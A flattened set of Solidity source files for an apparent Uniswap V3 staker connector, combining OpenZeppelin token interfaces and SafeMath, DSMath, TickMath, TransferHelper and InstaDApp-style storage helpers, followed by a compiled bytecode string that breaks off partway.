* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
pragma solidity ^0.7.0;
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
contract DSMath {
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
function add(uint x, uint y) internal pure returns (uint z) {
z = SafeMath.add(x, y);
}
function sub(uint x, uint y) internal virtual pure returns (uint z) {
z = SafeMath.sub(x, y);
}
function mul(uint x, uint y) internal pure returns (uint z) {
z = SafeMath.mul(x, y);
}
function div(uint x, uint y) internal pure returns (uint z) {
z = SafeMath.div(x, y);
}
function wmul(uint x, uint y) internal pure returns (uint z) {
z = SafeMath.add(SafeMath.mul(x, y), WAD / 2) / WAD;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = SafeMath.add(SafeMath.mul(x, WAD), y / 2) / y;
}
function rdiv(uint x, uint y) internal pure returns (uint z) {
z = SafeMath.add(SafeMath.mul(x, RAY), y / 2) / y;
}
function rmul(uint x, uint y) internal pure returns (uint z) {
z = SafeMath.add(SafeMath.mul(x, y), RAY / 2) / RAY;
}
function toInt(uint x) internal pure returns (int y) {
y = int(x);
require(y >= 0, "int-overflow");
}
function toRad(uint wad) internal pure returns (uint rad) {
rad = mul(wad, 10 ** 27);
}
}
pragma solidity ^0.7.0;
import { TokenInterface } from "./interfaces.sol";
import { Stores } from "./stores.sol";
import { DSMath } from "./math.sol";
abstract contract Basic is DSMath, Stores {
function convert18ToDec(uint _dec, uint256 _amt) internal pure returns (uint256 amt) {
amt = (_amt / 10 ** (18 - _dec));
}
function convertTo18(uint _dec, uint256 _amt) internal pure returns (uint256 amt) {
amt = mul(_amt, 10 ** (18 - _dec));
}
function getTokenBal(TokenInterface token) internal view returns(uint _amt) {
_amt = address(token) == ethAddr ? address(this).balance : token.balanceOf(address(this));
}
function getTokensDec(TokenInterface buyAddr, TokenInterface sellAddr) internal view returns(uint buyDec, uint sellDec) {
buyDec = address(buyAddr) == ethAddr ? 18 : buyAddr.decimals();
sellDec = address(sellAddr) == ethAddr ? 18 : sellAddr.decimals();
}
function encodeEvent(string memory eventName, bytes memory eventParam) internal pure returns (bytes memory) {
return abi.encode(eventName, eventParam);
}
function approve(TokenInterface token, address spender, uint256 amount) internal {
try token.approve(spender, amount) {
} catch {
token.approve(spender, 0);
token.approve(spender, amount);
}
}
function changeEthAddress(address buy, address sell) internal pure returns(TokenInterface _buy, TokenInterface _sell){
_buy = buy == ethAddr ? TokenInterface(wethAddr) : TokenInterface(buy);
_sell = sell == ethAddr ? TokenInterface(wethAddr) : TokenInterface(sell);
}
function convertEthToWeth(bool isEth, TokenInterface token, uint amount) internal {
if(isEth) token.deposit{value: amount}();
}
function convertWethToEth(bool isEth, TokenInterface token, uint amount) internal {
if(isEth) {
approve(token, address(token), amount);
token.withdraw(amount);
}
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Math library for computing sqrt prices from ticks and vice versa
/// @notice Computes sqrt price for ticks of size 1.0001, i.e. sqrt(1.0001^tick) as fixed point Q64.96 numbers. Supports
/// prices between 2**-128 and 2**128
library TickMath {
/// @dev The minimum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**-128
int24 internal constant MIN_TICK = -887272;
/// @dev The maximum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**128
int24 internal constant MAX_TICK = -MIN_TICK;
/// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK)
uint160 internal constant MIN_SQRT_RATIO = 4295128739;
/// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK)
uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342;
/// @notice Calculates sqrt(1.0001^tick) * 2^96
/// @dev Throws if |tick| > max tick
/// @param tick The input tick for the above formula
/// @return sqrtPriceX96 A Fixed point Q64.96 number representing the sqrt of the ratio of the two assets (token1/token0)
/// at the given tick
function getSqrtRatioAtTick(int24 tick) internal pure returns (uint160 sqrtPriceX96) {
uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick));
require(absTick <= uint256(MAX_TICK), 'T');
uint256 ratio = absTick & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000;
if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128;
if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128;
if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128;
if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128;
if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128;
if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128;
if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128;
if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128;
if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128;
if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128;
if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128;
if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128;
if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128;
if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128;
if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128;
if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128;
if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128;
if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128;
if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128;
if (tick > 0) ratio = type(uint256).max / ratio;
// this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96.
// we then downcast because we know the result always fits within 160 bits due to our tick input constraint
// we round up in the division so getTickAtSqrtRatio of the output price is always consistent
sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1));
}
/// @notice Calculates the greatest tick value such that getRatioAtTick(tick) <= ratio
/// @dev Throws in case sqrtPriceX96 < MIN_SQRT_RATIO, as MIN_SQRT_RATIO is the lowest value getRatioAtTick may
/// ever return.
/// @param sqrtPriceX96 The sqrt ratio for which to compute the tick as a Q64.96
/// @return tick The greatest tick for which the ratio is less than or equal to the input ratio
function getTickAtSqrtRatio(uint160 sqrtPriceX96) internal pure returns (int24 tick) {
// second inequality must be < because the price can never reach the price at the max tick
require(sqrtPriceX96 >= MIN_SQRT_RATIO && sqrtPriceX96 < MAX_SQRT_RATIO, 'R');
uint256 ratio = uint256(sqrtPriceX96) << 32;
uint256 r = ratio;
uint256 msb = 0;
assembly {
let f := shl(7, gt(r, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(6, gt(r, 0xFFFFFFFFFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(5, gt(r, 0xFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(4, gt(r, 0xFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(3, gt(r, 0xFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(2, gt(r, 0xF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(1, gt(r, 0x3))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := gt(r, 0x1)
msb := or(msb, f)
}
if (msb >= 128) r = ratio >> (msb - 127);
else r = ratio << (127 - msb);
int256 log_2 = (int256(msb) - 128) << 64;
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(63, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(62, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(61, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(60, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(59, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(58, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(57, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(56, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(55, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(54, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(53, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(52, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(51, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(50, f))
}
int256 log_sqrt10001 = log_2 * 255738958999603826347141; // 128.128 number
int24 tickLow = int24((log_sqrt10001 - 3402992956809132418596140100660247210) >> 128);
int24 tickHi = int24((log_sqrt10001 + 291339464771989622907027621153398088495) >> 128);
tick = tickLow == tickHi ? tickLow : getSqrtRatioAtTick(tickHi) <= sqrtPriceX96 ? tickHi : tickLow;
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.6.0;
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
library TransferHelper {
/// @notice Transfers tokens from the targeted address to the given destination
/// @notice Errors with 'STF' if transfer fails
/// @param token The contract address of the token to be transferred
/// @param from The originating address from which the tokens will be transferred
/// @param to The destination address of the transfer
/// @param value The amount to be transferred
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(IERC20.transferFrom.selector, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'STF');
}
/// @notice Transfers tokens from msg.sender to a recipient
/// @dev Errors with ST if transfer fails
/// @param token The contract address of the token which will be transferred
/// @param to The recipient of the transfer
/// @param value The value of the transfer
function safeTransfer(
address token,
address to,
uint256 value
) internal {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.transfer.selector, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'ST');
}
/// @notice Approves the stipulated contract to spend the given allowance in the given token
/// @dev Errors with 'SA' if transfer fails
/// @param token The contract address of the token to be approved
/// @param to The target of the approval
/// @param value The amount of the given token the target will be allowed to spend
function safeApprove(
address token,
address to,
uint256 value
) internal {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.approve.selector, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'SA');
}
/// @notice Transfers ETH to the recipient address
/// @dev Fails with `STE`
/// @param to The destination of the transfer
/// @param value The value to be transferred
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'STE');
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
pragma solidity ^0.7.0;
import { MemoryInterface, InstaMapping } from "./interfaces.sol";
abstract contract Stores {
/**
* @dev Return ethereum address
*/
address constant internal ethAddr = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
/**
* @dev Return Wrapped ETH address
*/
address constant internal wethAddr = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
/**
* @dev Return memory variable address
*/
MemoryInterface constant internal instaMemory = MemoryInterface(0x8a5419CfC711B2343c17a6ABf4B2bAFaBb06957F);
/**
* @dev Return InstaDApp Mapping Addresses
*/
InstaMapping constant internal instaMapping = InstaMapping(0xe81F70Cc7C0D46e12d70efc60607F16bbD617E88);
/**
* @dev Get Uint value from InstaMemory Contract.
*/
function getUint(uint getId, uint val) internal returns (uint returnVal) {
returnVal = getId == 0 ? val : instaMemory.getUint(getId);
}
/**
* @dev Set Uint value in InstaMemory Contract.
*/
function setUint(uint setId, uint val) virtual internal {
if (setId != 0) instaMemory.setUint(setId, val);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
| 0x6080604052600436106100865760003560e01c80638dfbf220116100595780638dfbf220146101495780639a99b4f01461017a578063b6b55f25146101ab578063cc6ea29f146101dc578063d7f346021461020d57610086565b806306fdde031461008b57806326bfee04146100b65780632e1a7d4d146100e757806388ff1ba314610118575b600080fd5b34801561009757600080fd5b506100a061023e565b6040516100ad9190611927565b60405180910390f35b6100d060048036038101906100cb919061151f565b610277565b6040516100de929190611949565b60405180910390f35b61010160048036038101906100fc91906114cd565b610341565b60405161010f929190611949565b60405180910390f35b610132600480360381019061012d919061142d565b610424565b604051610140929190611949565b60405180910390f35b610163600480360381019061015e91906113b6565b6105ce565b604051610171929190611949565b60405180910390f35b610194600480360381019061018f919061137a565b610835565b6040516101a2929190611949565b60405180910390f35b6101c560048036038101906101c091906114cd565b61088e565b6040516101d3929190611949565b60405180910390f35b6101f660048036038101906101f1919061142d565b61099c565b604051610204929190611949565b60405180910390f35b6102276004803603810190610222919061142d565b610ab7565b604051610235929190611949565b60405180910390f35b6040518060400160405280601681526020017f556e69737761702d56332d5374616b65722d76312e310000000000000000000081525081565b606080731f98407aab862cddef78ed252d6f557aa5b0f00d73ffffffffffffffffffffffffffffffffffffffff166326bfee0485856040518363ffffffff1660e01b81526004016102c99291906119ff565b600060405180830381600087803b1580156102e357600080fd5b505af11580156102f7573d6000803e3d6000fd5b50505050604051806060016040528060238152602001611cc960239139915083836040516020016103299291906119ff565b60405160208183030381529060405290509250929050565b606080731f98407aab862cddef78ed252d6f557aa5b0f00d73ffffffffffffffffffffffffffffffffffffffff16633c423f0b84306040518363ffffffff1660e01b8152600401610393929190611a28565b600060405180830381600087803b1580156103ad57600080fd5b505af11580156103c1573d6000803e3d6000fd5b505050506040518060400160405280601481526020017f4c6f6757697468647261772875696e743235362900000000000000000000000081525091508260405160200161040e91906119e4565b6040516020818303038152906040529050915091565b606080600083141561043c5761043930610bd2565b92505b73c36442b4a4522e871399cd717abdd847ab11fe8873ffffffffffffffffffffffffffffffffffffffff1663b88d4fde30731f98407aab862cddef78ed252d6f557aa5b0f00d866040518463ffffffff1660e01b81526004016104a19392919061181c565b600060405180830381600087803b1580156104bb57600080fd5b505af11580156104cf573d6000803e3d6000fd5b5050505060006104de84610d1e565b9050600081905060006040518060a001604052808b73ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018a81526020018981526020018873ffffffffffffffffffffffffffffffffffffffff16815250905061055c8682610f6c565b604051806060016040528060238152602001611d30602391399450858160405160200161058991906119a0565b604051602081830303815290604052805190602001206040516020016105b0929190611a64565b60405160208183030381529060405293505050509550959350505050565b606080600084905060004290506000888201905060006040518060a001604052808c73ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018381526020018a73ffffffffffffffffffffffffffffffffffffffff16815250905073eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee73ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff1614610739578a73ffffffffffffffffffffffffffffffffffffffff1663095ea7b3731f98407aab862cddef78ed252d6f557aa5b0f00d896040518363ffffffff1660e01b81526004016106e5929190611866565b602060405180830381600087803b1580156106ff57600080fd5b505af1158015610713573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061073791906114a4565b505b731f98407aab862cddef78ed252d6f557aa5b0f00d73ffffffffffffffffffffffffffffffffffffffff16635cc5e3d982896040518363ffffffff1660e01b81526004016107889291906119bb565b600060405180830381600087803b1580156107a257600080fd5b505af11580156107b6573d6000803e3d6000fd5b50505050604051806080016040528060448152602001611cec604491399550806040516020016107e691906119a0565b60405160208183030381529060405280519060200120888a85858b6040516020016108169695949392919061188f565b6040516020818303038152906040529450505050509550959350505050565b6060806000610845853086610ff1565b9050604051806060016040528060218152602001611d536021913992508481604051602001610875929190611866565b6040516020818303038152906040529150509250929050565b60608060008314156108a6576108a330610bd2565b92505b73c36442b4a4522e871399cd717abdd847ab11fe8873ffffffffffffffffffffffffffffffffffffffff1663b88d4fde30731f98407aab862cddef78ed252d6f557aa5b0f00d866040518463ffffffff1660e01b815260040161090b9392919061181c565b600060405180830381600087803b15801561092557600080fd5b505af1158015610939573d6000803e3d6000fd5b505050506040518060400160405280601381526020017f4c6f674465706f7369742875696e74323536290000000000000000000000000081525091508260405160200161098691906119e4565b6040516020818303038152906040529050915091565b60608060006109aa84610d1e565b9050600081905060006040518060a001604052808b73ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018a81526020018981526020018873ffffffffffffffffffffffffffffffffffffffff168152509050610a288682610f6c565b6040518060400160405280601981526020017f4c6f675374616b652875696e743235362c62797465733332290000000000000081525094508581604051602001610a7291906119a0565b60405160208183030381529060405280519060200120604051602001610a99929190611a64565b60405160208183030381529060405293505050509550959350505050565b6060806000610ac584610d1e565b9050600081905060006040518060a001604052808b73ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018a81526020018981526020018873ffffffffffffffffffffffffffffffffffffffff168152509050610b43818761109f565b6040518060400160405280601b81526020017f4c6f67556e7374616b652875696e743235362c6279746573333229000000000081525094508581604051602001610b8d91906119a0565b60405160208183030381529060405280519060200120604051602001610bb4929190611a64565b60405160208183030381529060405293505050509550959350505050565b60008073c36442b4a4522e871399cd717abdd847ab11fe8873ffffffffffffffffffffffffffffffffffffffff166370a08231846040518263ffffffff1660e01b8152600401610c229190611801565b60206040518083038186803b158015610c3a57600080fd5b505afa158015610c4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c7291906114f6565b905073c36442b4a4522e871399cd717abdd847ab11fe8873ffffffffffffffffffffffffffffffffffffffff16632f745c5984600184036040518363ffffffff1660e01b8152600401610cc6929190611866565b60206040518083038186803b158015610cde57600080fd5b505afa158015610cf2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d1691906114f6565b915050919050565b600080600073c36442b4a4522e871399cd717abdd847ab11fe